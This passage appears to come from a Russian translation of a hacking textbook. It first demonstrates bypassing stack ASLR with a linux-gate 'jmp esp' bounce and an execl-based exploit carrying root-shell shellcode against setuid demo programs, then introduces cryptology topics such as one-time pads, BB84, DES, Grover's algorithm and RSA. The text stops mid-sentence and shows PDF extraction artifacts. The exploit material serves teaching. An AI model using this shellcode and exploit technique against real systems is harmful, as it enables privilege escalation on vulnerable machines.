find_jmpesp.c
int main()
{
unsigned long linuxgate_start = 0xffffe000;
char *ptr = (char *) linuxgate_start;
int i;
0x6c0 Рандомизация стековой памяти (ASLR)
429 for(i=0; i < 4096; i++)
{
if(ptr[i] == ‘\xff’ && ptr[i+1] == ‘\xe4’)
printf(“found jmp esp at %p\n”, ptr+i);
}
}
После
компиляции и запуска программа показывает, что нужная ко- манда находится по адресу 0xffffe777. Можно еще раз проверить это с помощью GDB:
matrix@loki /hacking $ ./find_jmpesp found jmp esp at 0xffffe777
matrix@loki /hacking $ gdb -q ./aslr_demo
Using host libthread_db library “/lib/libthread_db.so.1”.
(gdb) break main
Breakpoint 1 at 0x80483f0: file aslr_demo.c, line 7.
(gdb) run
Starting program: /hacking/aslr_demo
Breakpoint 1, main (argc=1, argv=0xbf869894) at aslr_demo.c:7 7 printf(“buffer is at %p\n”, &buffer);
(gdb) x/i 0xffffe777 0xffffe777: jmp esp
(gdb)
Если объединить все, что мы узнали, то можно заменить адрес воз- врата на 0xffffe777, и тогда при выходе из функции main выполнение перей дет в
linux-gate. Так как это будет команда jmp esp, выполнение сразу вернется из
linux-gate туда, куда указывает ESP. Наши предыду- щие опыты показали, что в конце функции main ESP указывает на па- мять сразу за адресом возврата. Если поместить в нее шелл-код, EIP должен привести прямо к нему.
matrix@loki /hacking $ sudo chown root:root ./aslr_demo matrix@loki /hacking $ sudo chmod u+s ./aslr_demo matrix@loki /hacking $ ./aslr_demo $(perl -e ‘print “\x77\xe7\xff\
xff”x20’)$(cat scode.bin)
buffer is at 0xbf8d9ae0
sh-3.1#
С помощью этого приема можно выполнить эксплойт программы
notesearch:
matrix@loki /hacking $ for i in `seq 1 50`; do ./notesearch $(perl -e “print
‘AAAA’x$i”); if [
$? == 139 ]; then echo “Try $i words”; break; fi; done
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
*** ВЫВОД СОКРАЩЕН ***
430
0x600 Противодействие
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault
Try 35 words matrix@loki /hacking $ ./notesearch $(perl -e ‘print “\x77\xe7\xff\
xff”x35’)$(cat scode.bin)
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault matrix@loki /hacking $ ./notesearch $(perl -e ‘print “\x77\xe7\xff\
xff”x36’)$(cat scode2.bin)
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]------- sh-3.1#
Начальная оценка в 35 слов была неверной, потому что программа все равно заканчивалась аварийно при немного меньшем буфере эксплой- та. Но это близкая оценка, поэтому нужно лишь немного поковырять- ся (или вычислить смещение более точно).
Конечно, отскок от linux-gate – ловкий трюк, но он проходит только со старыми ядрами Linux. Вернувшись к загрузочному диску под Linux
2.6.20, вы уже не найдете этой удобной команды на знакомом месте.
reader@hacking:/booksrc $ uname -a
Linux hacking 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686
GNU/Linux reader@hacking:/booksrc $ gcc -o find_jmpesp find_jmpesp.c reader@hacking:/booksrc $ ./find_jmpesp reader@hacking:/booksrc $ gcc -g -o aslr_demo aslr_demo.c reader@hacking:/booksrc $ ./aslr_demo test buffer is at 0xbfcf3480
reader@hacking:/booksrc $ ./aslr_demo test buffer is at 0xbfd39cd0
reader@hacking:/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfc8d9c3
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfa0c9c3
reader@hacking:/booksrc $
Не зная адреса команды jmp esp, не так легко проделать отскок от linux-
gate. Догадаетесь, как обойти ASLR для эксплойта aslr_demo на загру- зочном диске?
0x6c0 Рандомизация стековой памяти (ASLR)
431
0x6c3 Применяем знания
Такие ситуации и делают хакерство искусством. Степень защищенно- сти компьютеров непрерывно меняется, отдельные уязвимости обна- руживаются или устраняются ежедневно. Но если вы усвоили прин- ципы основных хакерских приемов, о которых рассказано в этой кни- ге, то сможете применять их новыми и творческими способами, решая возникающие актуальные проблемы. Этими приемами можно пользо- ваться, как кирпичиками LEGO, составляя из них миллионы комбина- ций. Как и в любом искусстве, чем больше у вас опыта в применении техники, тем лучше вы ее понимаете. С опытом приходит способность интуитивно рассчитывать смещения и определять сегменты памяти по диапазонам их адресов.
В данном случае проблема прежняя: ASLR. Надеюсь, у вас уже есть не- сколько идей, которые вы готовы проверить. Не бойтесь запустить от- ладчик и посмотреть, что же происходит. Скорее всего, есть несколько способов обойти ASLR, и вы сможете придумать какой-то еще. Если вы не нашли решение, не беспокойтесь: об одном методе я расскажу в сле- дующем разделе. Но прежде чем двигаться дальше, стоит немного по- размышлять над этой проблемой самостоятельно.
0x6c4 Первая попытка
На самом деле я написал эту главу раньше, чем в ядре Linux испра- вили linux-gate, поэтому мне пришлось дополнительно обдумать об- ход ASLR. Первой мыслью было поработать с семейством функций execl()
. Мы используем execve() в шелл-коде, чтобы запустить оболоч- ку, и если вы посмотрите на нее внимательно (или прочтете страницу руководства), то выясните, что функция execve() заменяет текущий процесс образом нового процесса.
EXEC(3) Руководство программиста Linux EXEC(3)
ИМЯ
execl, execlp, execle, execv, execvp - выполнить файл
СИНТАКСИС
#include
extern char **environ;
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg,
..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
432
0x600 Противодействие
ОПИСАНИЕ
Семейство функций exec заменяет текущий образ процесса новым образом процесса. Функции, описанные на этой странице руководства, служат интерфейсом к функции execve(2). Более детальную информацию о смене текущего процесса можно получить на странице руководства функции execve.
Есть подозрение, что если структура памяти рандомизируется толь- ко при открытии процесса, то здесь может быть какая-то уязвимость.
Проверим гипотезу на небольшом коде, который выводит адрес пере- менной в стеке, а потом запускает программу aslr_demo с помощью функции execl().
aslr_execl.c
#include
#include
int main(int argc, char *argv[]) {
int stack_var;
// Вывести адрес из текущего кадра стека.
printf(“stack_var is at %p\n”, &stack_var);
// Запустить aslr_demo и посмотреть, как организован ее стек.
execl(“./aslr_demo”, “aslr_demo”, NULL);
}
В результате компиляции и запуска этой программы с помощью execl()
будет запущена программа aslr_demo, которая тоже выводит адрес переменной стека (buffer). Это позволит нам сравнить структу- ру памяти.
reader@hacking:/booksrc $ gcc -o aslr_demo aslr_demo.c reader@hacking:/booksrc $ gcc -o aslr_execl aslr_execl.c reader@hacking:/booksrc $ ./aslr_demo test buffer is at 0xbf9f31c0
reader@hacking:/booksrc $ ./aslr_demo test buffer is at 0xbffaaf70
reader@hacking:/booksrc $ ./aslr_execl stack_var is at 0xbf832044
buffer is at 0xbf832000
reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xbf832044 - 0xbf832000”
$1 = 68
reader@hacking:/booksrc $ ./aslr_execl stack_var is at 0xbfa97844
buffer is at 0xbf82f800
reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xbfa97844 - 0xbf82f800”
$1 = 2523204
reader@hacking:/booksrc $ ./aslr_execl stack_var is at 0xbfbb0bc4
buffer is at 0xbff3e710
0x6c0 Рандомизация стековой памяти (ASLR)
433
reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xbfbb0bc4 - 0xbff3e710”
$1 = 4291241140
reader@hacking:/booksrc $ ./aslr_execl stack_var is at 0xbf9a81b4
buffer is at 0xbf9a8180
reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xbf9a81b4 - 0xbf9a8180”
$1 = 52
reader@hacking:/booksrc $
Первый результат выглядит очень обнадеживающе, но дальнейшие попытки показывают, что какая-то рандомизация при выполнении но- вого процесса через execl() все же происходит. Я уверен, что так было не всегда, но для open source характерен неуклонный прогресс. Одна- ко проблема невелика, потому что наша неопределенность теперь су- зилась.
0x6c5 Игра случая
Применение execl() во всяком случае снижает меру случайности и дает нам примерную оценку адреса. Оставшуюся неопределенность можно преодолеть с помощью NOP-цепочки. Взглянув на aslr_demo, видим, что для изменения записанного в стек адреса возврата буфер перепол- нения должен иметь размер 80 байт.
reader@hacking:/booksrc $ gdb -q ./aslr_demo
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) run $(perl -e ‘print “AAAA”x19 . “BBBB”’)
Starting program: /home/reader/booksrc/aslr_demo $(perl -e ‘print “AAAA”x19
. “BBBB”’)
buffer is at 0xbfc7d3b0
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p 20*4
$1 = 80
(gdb) quit
The program is running. Exit anyway? (y or n) y reader@hacking:/booksrc $
Так как нам, скорее всего, понадобится большая NOP-цепочка, в сле- дующем эксплойте NOP-цепочка и шелл-код размещаются после зати- рания адреса возврата. Это позволит нам вставить столько NOP, сколь- ко нужно. В данном случае тысячи байт должно оказаться достаточно.
aslr_execl_exploit.c
#include
#include
#include
char shellcode[]=
434
0x600 Противодействие
“\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68”
“\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89”
“\xe1\xcd\x80”; // Стандартный шелл-код int main(int argc, char *argv[]) {
unsigned int i, ret, offset;
char buffer[1000];
printf(“i is at %p\n”, &i);
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset + 200; // Установить адрес возврата.
printf(“ret addr is %p\n”, ret);
for(i=0; i < 90; i+=4) // Заполнить буфер адресом возврата.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer+84, 0x90, 900); // Build NOP sled.
memcpy(buffer+900, shellcode, sizeof(shellcode));
execl(“./aslr_demo”, “aslr_demo”, buffer, NULL);
}
Этот код должен быть понятен. К адресу возврата прибавлено 200, что- бы проскочить первые 90 байт, используемые для затирания, так что выполнение переместится куда-то в NOP-цепочку.
reader@hacking:/booksrc $ sudo chown root ./aslr_demo reader@hacking:/booksrc $ sudo chmod u+s ./aslr_demo reader@hacking:/booksrc $ gcc aslr_execl_exploit.c reader@hacking:/booksrc $ ./a.out i is at 0xbfa3f26c ret addr is 0xb79f6de4
buffer is at 0xbfa3ee80
Segmentation fault reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xbfa3f26c - 0xbfa3ee80”
$1 = 1004
reader@hacking:/booksrc $ ./a.out 1004
i is at 0xbfe9b6cc ret addr is 0xbfe9b3a8
buffer is at 0xbfe9b2e0
sh-3.2# exit exit reader@hacking:/booksrc $ ./a.out 1004
i is at 0xbfb5a38c ret addr is 0xbfb5a068
buffer is at 0xbfb20760
Segmentation fault reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xbfb5a38c - 0xbfb20760”
$1 = 236588
reader@hacking:/booksrc $ ./a.out 1004
0x6c0 Рандомизация стековой памяти (ASLR)
435
i is at 0xbfce050c ret addr is 0xbfce01e8
buffer is at 0xbfce0130
sh-3.2# whoami root sh-3.2#
Как видим, рандомизация иногда приводит к неудаче эксплойта, но до- статочно одного успешного случая. Здесь использовано то обстоятель- ство, что мы можем пытаться применить эксплойт столько раз, сколь- ко нужно. Такой же прием должен сработать в эксплойте для notesearch при включенной системе ASLR. Попробуйте написать его сами.
Разобравшись с базовыми принципами эксплойтов программ и проя- вив немного творчества, можно создавать бесчисленные вариации на их темы. Так как правила программы определяются ее создателями, эксплойт предположительно защищенной программы просто означает, что вы оказались сильнее, играя по их же правилам. Новые изобрета- тельные методы, такие как защита стека и IDS, пытаются справиться с этими проблемами, но и эти решения несовершенны. Изобретатель- ные хакеры умеют находить бреши в этих системах. Нужно просто по- думать о том, о чем не подумали разработчики.
0x700Криптология Криптология определяется как наука, включающая в себя криптографию и криптоанализ. Криптография – это осуществление секретной связи с помощью шифров, а криптоанализ – это взлом, или дешифрование, указанной секретной связи. Исторически криптология приобретала особое значение во время войн, когда секретные коды применялись для связи со своими войсками и делались попытки взломать коды противника, чтобы проникнуть в его систему связи.Применение криптографии в военных целях по-прежнему актуально, но все чаще она вторгается в обычную жизнь, поскольку многие важ- ные операции осуществляются через Интернет. Перехват данных, пе- редаваемых по Сети, нередкое явление, и предположение о том, что вас всегда кто-нибудь подслушивает, уже не признак паранойи. Примене- ние протоколов связи без шифрования может привести к краже па- ролей, номеров кредитных карт и другой конфиденциальной инфор- мации. Протоколы связи с шифрованием решают проблему передачи конфиденциальных данных и обеспечивают функционирование сете- вой экономики. Без шифрования, применяемого в уровне защищен- ных сокетов (Secure Sockets Layer, SSL), операции с кредитными кар- тами на популярных веб-сайтах были бы очень неудобными или нена- дежными.
Все эти секретные данные защищаются криптографическими алго- ритмами, которые считаются надежными. В настоящее время крип- тосистемы с гарантированной надежностью, слишком неудобны для практического применения, поэтому вместо систем, надежность ко- торых обоснована строго математически, применяются системы,
на-дежные с практической точки зрения. Имеется в виду, что даже если есть способы взломать такую систему, на практике пока никто не смог их реализовать. Конечно, есть и ненадежные криптосистемы. Причи- ной ненадежности могут быть ошибки реализации, размер ключа или
0x710 Теория информации
437
криптоаналитическая слабость самого шифра. В 1997 году законода- тельство США определило, что в экспортируемых программах макси- мальный размер ключа не должен превышать 40 бит. Это ограничение на размер ключа делает соответствующие шифры ненадежными, как продемонстрировали RSA Data Security и Ян Голдберг (Ian Goldberg), аспирант университета Беркли. RSA опубликовала сообщение, зашиф- рованное с 40-битным ключом, предложив всем желающим расшифро- вать его, что Ян и сделал спустя три с половиной часа. Этот случай явно показал, что 40-разрядный ключ не обеспечивает надежность крипто- системы.
Криптология чем-то сродни хакингу. Прежде всего, решение головоло- мок привлекает любознательных. Для злоумышленников доступ к се- кретным данным путем решения какой-то головоломки может ока- заться еще большим соблазном. Гораздо приятнее взломать или обой- ти криптографическую защиту данных, чем просто захватить данные.
Кроме того, сильная криптография позволяет избежать обнаружения.
Дорогостоящие системы обнаружения сетевого вторжения на основе сигнатур атакующего оказываются бессильными, если последний ис- пользует канал связи с шифрованием. Часто шифрование сетевого тра- фика, имеющее целью защиту клиентов, применяется злоумышленни- ками для скрытия атаки.
0x710 Теория информации
Многие понятия криптографической безопасности появились благода- ря Клоду Шеннону (Claude Shannon). Он оказал большое влияние на криптографию, особенно благодаря понятиям рассеивания (diffusion) и перемешивания (confusion). Хотя рассматриваемые в следующих разделах концепции безусловной стойкости, одноразовых блокнотов, квантового распределения ключей и практической (вычислительной) стойкости разработаны не Шенноном, но его идеи, относящиеся к абсо- лютной секретности и теории информации, – огромный вклад в опре- деление стойкости криптосистем.
0x711 Безусловная стойкость
Криптографическая система считается безусловно стойкой (un con di- tion ally secure), если она не может быть взломана даже при наличии неограниченных вычислительных ресурсов. Это означает, что крипто- анализ бесполезен, и даже при полном переборе ключей невозможно определить, который из них правилен.
0x712 Одноразовые блокноты
Пример безусловно стойкой криптосистемы – одноразовый блокнот
(one time pad). Это очень простая криптосистема, в которой применя-
4380x700 Криптология ются блоки случайных данных, называемые
блокнотами (
pads). Каж- дый блокнот должен быть не меньше по размеру, чем подлежащее шифрованию текстовое сообщение, а случайные данные в блокноте должны быть в подлинном смысле случайными. Блокноты изготавли- ваются в двух идентичных экземплярах, один из которых дается полу- чателю, а другой – отправителю. Чтобы зашифровать сообщение, от- правитель складывает каждый бит открытого текста с соответствую- щим битом блокнота с помощью операции XOR. После шифрования со-
общения использованный блокнот уничтожается, чтобы не допустить его повторного использования. Зашифрованное сообщение можно без- боязненно отправлять, поскольку прочитать его без блокнота нельзя.
Получатель сообщения применяет XOR к каждому его биту и соответ- ствующему биту блокнота, получая в результате исходное текстовое сообщение.
Несмотря на теоретическую невозможность взлома одноразового блок- нота, эта система не очень практична. Надежность системы основана на защищенности блокнотов. При пересылке блокнотов получателю и от- правителю предполагается, что их передача происходит по защищенно- му каналу. Подлинная защищенность может потребовать личной встре- чи и обмена блокнотами, но для удобства рассылку блокнотов часто обе- спечивают с помощью другого шифра. Платить за это приходится тем, что стойкость системы в целом оказывается не выше стойкости ее сла- бейшего звена, то есть шифра, применяемого для передачи блокнотов.
Поскольку блокнот состоит из случайных данных того же размера, что и текстовое сообщение, а надежность системы не превышает надежно- сти метода, применяемого для пересылки блокнота, на практике обыч- но разумнее зашифровать текстовое сообщение тем шифром, который предполагалось использовать при пересылке блокнотов.
0x713 Квантовое распределение ключейПоявление квантовых вычислений сулит много интересного для крип- тологии. Одним из практических применений может стать реализация системы одноразовых блокнотов на основе квантового распределения ключей. Тайна квантового зацепления может обеспечить надежный и защищенный метод пересылки случайной строки битов, которая бу- дет использована в качестве ключа. Это можно осуществить на основе неортогональных квантовых состояний фотонов.
Не вникая особо в детали, отметим, что поляризация фотона представ- ляет собой направление колебаний его электрического поля, которое в данном случае может происходить в горизонтальном, вертикальном или одном из двух диагональных направлений.
Неортогональность означает, что угол между состояниями не равен 90 градусам. Самое интересное, что невозможно достоверно определить, которой из этих четырех поляризаций обладает отдельный фотон. Базис прямолиней- ной вертикальной и горизонтальной поляризации несовместим с бази-
0x710 Теория информации
439
сом двух диагональных поляризаций, поэтому оба вида поляризации не могут быть измерены одновременно (согласно принципу неопреде- ленности Гейзенберга). Определить поляризацию можно с помощью фильтров: один для вертикального/горизонтального базиса, а другой для диагонального базиса. Когда фотон проходит через правильный фильтр, его поляризация не меняется, но если фильтр неверный, она меняется случайным образом. Это означает, что если некто посторон- ний попытается узнать поляризацию, данные с большой вероятностью окажутся искаженными, из чего получатель узнает о незащищенности канала.
Эти необычные свойства квантовой механики использовали Чарльз
Бен нетт (Charles Bennet) и Жиль Брассар (Gilles Brassard) в первой и наиболее известной системе квантового распределения ключей, но- сящей название BB84. Согласно этой схеме отправитель и получатель договариваются о представлении битов четырьмя видами поляриза- ции, при котором в каждом базисе будут и 0, и 1. Например, 1 может представляться вертикально поляризованными фотонами и фотона- ми с диагональной поляризацией плюс 45 градусов, а 0 будет представ- ляться горизонтально поляризованными фотонами и фотонами с диа- гональной поляризацией минус 45 градусов. Таким образом, единицы и нули могут появляться при измерении вертикальной/горизонталь- ной поляризации и при измерении диагональной поляризации.
После этого отправитель посылает поток случайных фотонов, базис ко- торых (вертикальный/горизонтальный или диагональный) выбирает- ся случайно, и регистрирует, какие фотоны отправлены. Получатель также случайно выбирает вертикальный/горизонтальный или диа- гональный базис для определения поляризации присланных ему фо- тонов и регистрирует результаты своих измерений. Затем оба корре- спондента открыто обмениваются сведениями о том, какой базис был ими использован, и сохраняют данные только по тем фотонам, которые измерялись ими в одинаковом базисе. При этом посторонний может узнать не действительные значения, переданные фотонами, а только то, что на обоих концах либо 0, либо 1. Согласованные данные образу- ют ключ для одноразового блокнота.
Поскольку при перехвате поляризация части фотонов изменится и дан- ные исказятся, факт прослушивания можно установить по коэффици- енту ошибок в каком-нибудь случайно выбранном подмножестве клю- ча. Если ошибок слишком много, это может свидетельствовать о про- слушивании, и данный ключ следует выбросить. Если нет, значит, ключевые данные переданы правильно и скрыто.
0x714 Практическая (вычислительная) стойкость
Криптосистема считается практически (вычислительно) стойкой, если лучший из известных алгоритмов ее взлома требует недопусти- мо большого объема вычислительных ресурсов и времени. Это означа-
4400x700 Криптология ет, что теоретически посторонний может взломать систему, но прак- тически это нереально, потому что необходимые для этого время и ре- сурсы по стоимости значительно превосходят ценность зашифрован- ной информации. Обычно время, необходимое для
взлома практиче- ски стойкой системы, измеряется десятками тысяч лет, даже при на- личии значительных вычислительных ресурсов. К этой категории от- носится большинство современных криптосистем.
Необходимо отметить, что алгоритмы взлома криптосистем постоян- но развиваются и совершенствуются. В идеале криптосистему следует считать практически стойкой, если
лучший алгоритм ее взлома требу- ет неоправданно большого объема вычислительных ресурсов и време- ни, но в настоящее время нет способа доказать, что данный алгоритм взлома является лучшим и всегда останется таким. Поэтому оценка стойкости криптосистемы основывается на лучшем из известных
на сегодня алгоритмов.
0x720 Сложность алгоритмаСложность алгоритма (
algorithmic run time) – несколько иное поня- тие, чем время прогона программы. Алгоритм – это идея, и оценка ал- горитма не зависит от скорости обработки данных. Измерять слож- ность алгоритма в минутах и секундах бессмысленно.
В отсутствие таких факторов, как скорость процессора и архитекту- ра, важным параметром алгоритма оказывается
объем входных дан-ных. Алгоритм сортировки, обрабатывающий 1000 элементов, навер- няка будет работать дольше, чем тот же алгоритм для 10 элементов.
Размер входных данных обычно обозначают буквой
n, а каждый ато- марный шаг можно выразить числом. Сложность простого алгоритма вроде приведенного ниже можно выразить через
n. for(i = 1 to n) {
Сделать что-то;
Сделать еще что-то;
}
Сделать что-то напоследок;
Этот алгоритм повторяется
n раз, каждый раз выполняя два действия, а в конце еще одно последнее действие, поэтому
временная сложность данного алгоритма составит 2
n + 1. Более сложный алгоритм, в кото- рый вложен еще один цикл (как в следующем примере), будет иметь временную сложность
n2
+ 2
n + 1, потому что новое действие выполня- ется
n2
раз.
for(x = 1 to n) {
for(y = 1 to n) {
Выполнить новое действие;
}
}
0x720 Сложность алгоритма
441
for(i = 1 to n) {
Сделать что-то;
Сделать еще что-то;
}
Сделать что-то напоследок;
Но такой уровень детализации все еще слишком груб. Например, отно- сительная разность между 2n + 5 и 2n + 365 по мере роста n уменьша- ется. А относительная разность между 2n
2
+ 5 и 2n + 5 по мере роста n увеличивается. Подобные общие тенденции наиболее важны для опре- деления сложности алгоритма.
Рассмотрим два алгоритма: один с временной сложностью 2n + 365, а другой с временной сложностью 2n
2
+ 5. При малых значениях n ал- горитм 2n
2
+ 5 превосходит алгоритм 2n + 365. Но при n = 30 оба алго- ритма одинаково эффективны, а для всех n > 30 алгоритм 2n + 365 пре- восходит алгоритм 2n
2
+ 5. Поскольку есть только 30 значений n, при которых алгоритм 2n
2
+ 5 эффективнее, и бесконечное число значений
n, при которых эффективнее алгоритм 2n + 365, алгоритм 2n + 365 в общем оказывается эффективнее.
Это означает, что в целом большее значение имеет скорость роста вре- менной сложности алгоритма в зависимости от размера входных дан- ных, чем временная сложность для каких-то фиксированных данных.
Хотя для конкретных практических применений это может быть не всегда справедливо, но такого рода оценка эффективности алгоритма оправдана при усреднении по всем возможным приложениям.
0x721 Асимптотическая нотация
Асимптотическая нотация служит для выражения эффективности ал- горитма. Она называется асимптотической, поскольку относится к по- ведению алгоритма при асимптотическом стремлении размера входных данных к бесконечному пределу.
Рассматривая примеры алгоритмов 2n + 365 и 2n
2
+ 5, мы выяснили, что алгоритм 2n + 365 в целом более эффективен, потому что его слож- ность ведет себя, как n, а сложность алгоритма 2n
2
+ 5 ведет себя, как
n
2
. Это означает, что 2n + 365 ограничено сверху некоторым положи- тельным кратным n для всех достаточно больших n, а 2n
2
+ 5 ограни- чено сверху некоторым положительным кратным n
2
для всех достаточ- но больших n.
Звучит сложновато, но в действительности лишь означает, что суще- ствуют положительная константа для значения тренда и нижняя гра- ница n, такие что значение тренда, умноженное на константу, всегда окажется больше, чем временная сложность для всех n, превышаю- щих эту нижнюю границу. Иными словами, 2n
2
+ 5 имеет порядок n
2
, а 2n + 365 – порядок n. Для обозначения этого есть удобная матема-
442
0x700 Криптология тическая нотация, так называемое «О» большое: O(n
2
) описывает алго- ритм сложности порядка n
2
Чтобы описать временную сложность алгоритма через «О» большое, можно просто рассмотреть старшие члены, поскольку именно они наи- более важны при достаточно больших n. Так алгоритм с временной сложностью 3n
4
+ 43n
3
+ 763n + log n + 37 будет иметь порядок O(n
4
), а 54n
7
+ 23n
4
+ 4325 – порядок O(n
7
).
0x730 Симметричное шифрование
Симметричные шифры – это криптосистемы, в которых один и тот же ключ применяется как для шифрования, так и для дешифрования со- общений. Обычно процедура шифрования и дешифрования происхо- дит в этих системах быстрее, чем при асимметричном шифровании, но распределение ключей может вызывать сложности.
Обычно такие шифры – блочные или поточные. Блочный шифр (block
cipher) применяется к блокам фиксированного размера, обычно 64 или
128 бит. Один и тот же блок обычного текста всегда шифруется в один и тот же блок шифрованного текста, если применяется один и тот же ключ. DES, Blowfish и AES (Rijndael) – все это блочные шифры. По-
точный шифр (stream cipher) генерирует поток псевдослучайных би- тов, обычно по одному биту или байту на каждом шаге. Этот поток на- зывается потоком ключей (keystream); он складывается с обычным текстом с помощью операции XOR. Это удобно при шифровании непре- рывных потоков данных. Примеры распространенных поточных шиф- ров – RC4 и LSFR. RC4 подробно рассматривается ниже в разд. 0x770.
DES и AES – распространенные блочные шифры. При разработке блоч- ных шифров большие усилия прилагаются к тому, чтобы сделать их устойчивыми против известных методов криптоанализа. Два важ- ных понятия, применяемых к блочным шифрам, – это перемешивание и рассеивание. Перемешивание (confusion) относится к методам, при- меняемым для скрытия связи между обычным текстом, зашифрован- ным текстом и ключом. Оно подразумевает, что выходные биты долж- ны быть результатом сложного преобразования ключа и обычного тек- ста. Рассеивание (diffusion) служит для возможно более широкого рас- пространения влияния битов обычного текста и ключа. Составной
шифр (product cipher) сочетает оба эти понятия, многократно произво- дя различные простые операции. DES и AES – составные шифры.
В DES также применяется сеть Фейстеля (Feistel network). На ней основаны многие блочные шифры, поскольку она обеспечивает обра- тимость алгоритма. Суть ее в том, что каждый блок делится на две рав- ные части, левую (L) и правую (R). В каждом цикле новая левая часть
(L
i
) делается равной прежней правой части (R
i–1
), а новая правая часть
(R
i
) делается равной прежней левой части (L
i–1
), поразрядно сложенной
(XOR) с значением определенной функции, аргументами которой явля-
0x730 Симметричное шифрование
443
ются прежняя правая часть (R
i–1
) и подключ для этого цикла преобра- зования (K
i
). Обычно в каждом цикле используется свой ключ, опреде- ляемый заранее.
Значения L
i
и R
i
определяются так (символ ⊕ обозначает операцию XOR):
L
i
= R
i–1
R
i
= L
i–1
⊕ f(R
i–1
, K
i
)
В DES выполняется 16 циклов преобразования. Это число было по- добрано специально, чтобы противодействовать дифференциально- му криптоанализу. Единственная действительно известная слабость
DES – это размер ключа. Поскольку он составляет всего 56 бит, все ключевое пространство может быть проверено за несколько недель пу- тем полного перебора на специальном оборудовании.
Тройной DES решает эту проблему, соединяя два ключа DES в один с общим размером 112 бит. Шифрование осуществляется путем шиф- рования блока обычного текста с первым ключом, затем дешифрова- ния со вторым ключом и еще одного шифрования с первым ключом.
Дешифрование блока осуществляется аналогично, меняется только порядок операций шифрования и дешифрования. При увеличении раз- мера ключа трудоемкость полного перебора ключей растет экспонен- циально.
Большинство промышленных блочных шифров устойчивы ко всем известным видам криптоанализа, а размер ключа обычно слишком велик, чтобы допустить полный перебор. Однако квантовые вычисле- ния открывают некоторые интересные, шумно рекламируемые воз- можности.
0x731 Алгоритм квантового поиска Лова Гровера
Квантовые вычисления сулят нам возможность выполнения массовых параллельных вычислений. Квантовый компьютер может записать много различных состояний в суперпозицию (которую можно пред- ставить как массив), а затем проводить одновременные вычисления со всеми из них. Это идеальная возможность для грубого применения силы в любой области, в том числе для полного перебора ключей блоч- ных шифров. В суперпозицию можно загрузить все возможные клю- чи, а затем осуществить шифрование одновременно со всеми ключа- ми. Сложность в том, чтобы извлечь из суперпозиции правильное зна- чение. Квантовые компьютеры ведут себя необычно, потому что при обращении к суперпозиции все декогерирует в одно единственное со- стояние. Беда в том, что декогерирование имеет случайный характер, и у всех состояний в суперпозиции равные шансы декогерировать в это единственное состояние.
Если не найти способ управлять вероятностями состояний суперпози- ции, то с таким же успехом можно просто угадывать ключи. К счастью,
4440x700 Криптология
Лов Гровер (Lov Grover) предложил алгоритм управления вероятностями состояний суперпозиции. Этот алгоритм позволяет увеличивать ве ро - ятность некоторого желаемого состояния, уменьшая при этом ве ро- ят ности остальных. Эта процедура повторяется несколько раз, пока декогерирование суперпозиции в требуемое со стояние не становится почти гарантированным. Количество шагов составляет примерно
O√
n.
Элементарные навыки в обращении с
показателями степени позволя- ют увидеть, что в итоге размер ключа для атаки путем полного пере- бора сокращается вдвое. Поэтому сверхподозрительных можно успо- коить тем, что при удвоении размера ключа блочного шифра его стой- кость сохраняется даже при теоретической атаке исчерпывающим пе- ребором на квантовом компьютере.
0x740 Асимметричное шифрованиеВ асимметричных шифрах применяется два ключа: открытый и се- кретный.
Открытый ключ (
public key) открыто публикуют, а
секрет-ный ключ (
private key) держат при себе, отсюда и хитрые названия. Со- общение, зашифрованное с открытым ключом, можно расшифровать только с помощью секретного ключа. Это снимает проблему распреде- ления ключей: открытые ключи доступны всем, и с помощью откры- того ключа сообщение может быть зашифровано для соответствующе- го секретного ключа. Не нужен отдельный канал связи для передачи секретного ключа, как в симметричных шифрах. Однако асимметрич- ные шифры, как правило, значительно медленнее симметричных.
0x741 RSARSA – один из наиболее известных асимметричных алгоритмов. На- дежность RSA основана на сложности факторизации больших чисел.
Сначала выбирают два простых числа
P и
Q, а затем вычисляют их про- изведение
N.
N =
P ×
QПосле этого надо подсчитать количество чисел от 1 до
N – 1, которые взаимно просты с
N (два числа
взаимно просты, если их наибольший общий делитель равен 1). Такое соотношение называется
функцией Эй-лера и обычно обозначается строчной греческой буквой фи (f).
Например, f(9) = 6, потому что 1, 2, 4, 5, 7 и 8 взаимно просты с 9. Не- трудно видеть, что если
N – простое, то f(
N) =
N – 1. Менее очевидно, что если
N является произведением ровно двух простых чисел
P и
Q, то f(
N) = (
P – 1) × (
Q – 1). Это полезное соотношение, потому что для RSA надо вычислить f(
N).
0x740 Асимметричное шифрование
445
Ключ шифрования E выбирается как случайное число, взаимно про- стое с f(N). Ключ дешифрования D отыскивается как решение следую- щего уравнения при каком-либо целом S:
E × D = S × f(N) + 1
Решить его можно с помощью расширенного алгоритма Евклида. Алго-
